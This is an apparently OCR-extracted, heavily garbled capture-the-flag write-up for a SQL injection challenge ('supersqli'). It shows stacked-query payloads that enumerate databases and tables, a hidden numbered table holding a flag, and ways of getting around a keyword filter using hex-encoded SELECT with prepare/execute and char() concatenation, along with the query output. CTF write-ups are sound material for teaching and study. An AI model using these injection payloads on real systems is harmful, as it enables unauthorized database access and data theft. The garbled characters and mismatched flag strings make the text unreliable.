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error 1064 : You have an error your SQL syntax; check the manual that corresponds to your MariaDB server vers

ion for the right syntax to use near 1''" at line 1
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1-insert into use
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select xxx from table_name where id limit 0,1

ENJE:

select xxx from table name where id='$id';show databases;#' limit 0,1



FoNRHEISHE, FTUARINESSEMaS, At —& T8 Msqliff) select xxx from table_name where id='$id";
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1';show databases
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1":show databases; # | 23rEn

array(2) {

[0]=>

string (1) “1”

[1]=>

string(7) “hahahah”
}

array (1) {
[0]=>
string(11) “ctftraining”

}

array(l) {
[0]=>
string(18) “information schema”

}

array (1) {
[0]=>
string(5) “mysql”

}

array(l) {
[0]=>
string(18) “performance schema”

}

array (1) {
[0]=>
string(9) “supersqli”

}

array(l) {
[0]=>
string(4) “test”

}
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1';show tables



&8 11";show tables; # | BArEa)
array(2) {
[o]=>
string(l) "1”
[1]=>
string(7) “hahahah”
}
array (1) {
[0]=>
string(16) “1919810931114514”
}
array (1) {
[0]=>
string(5) “words”
}
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array(6) {
[0]=>
string(2) "id”
[1]=>
string(7) “int(10)”
[2]=>
string(2) "NO”
[3]=>
string(0) ””
[4]=>
NULL
[5]=>
string(0) ””

}

array (6) {
[0]=>
string(4) “data”
[1]=>
string(11) “varchar(20)”
[2]=>
string(2) "NO”
[3]=>
string(0) ””
[4]=>
NULL
[5]=>
string(0) ””
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array (6) {
[0]=>
string(4) “flag”
[1]=>
string(12) “varchar(100)”
[2]=>
string(2) “NO”
[3]=>
string (0) *”
[4]=>
NULL
[5]=>
string(0) ””
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MIER 1" or 1=1 # f5%lflag

& |1 or 1=1# ==
array(l) {

[0]=>

string (42) “flag{d9c64ad7-13d9-4fce—8cce—dce801fd3960}”
1
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@a=0x73656c656374202a206672616d20603139313938313039333131313435313460 execsql




(3 — 5 Reselect * from *1919810931114514" {7533k 8)
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array(2) {
[0]=>
string(l) “1”
[1]1=>
string(7) “hahahah”

}

arrav (1) {
[0]=>

string (42) “flag{7371da83-0f6e-421b-aeTa-bbcchHec88a9}”
1
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1 @sgl=concat 115,101,108,101,99,116

sqla @sql sql
a

(char(115,101,108,101,99,116) Z&1s e | e c ti]asciifd i ATFRFERERRK, FHILEIPPHEERL T select * from
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arrav(2) {
[0]=>
string (1) 17
[1]1=>
string(7) “hahahah”

}

array(l) {
[0]=>

string (42) "flag{7371da83-0f6e-421b—ae7a—bbccHrec88a9}”
1
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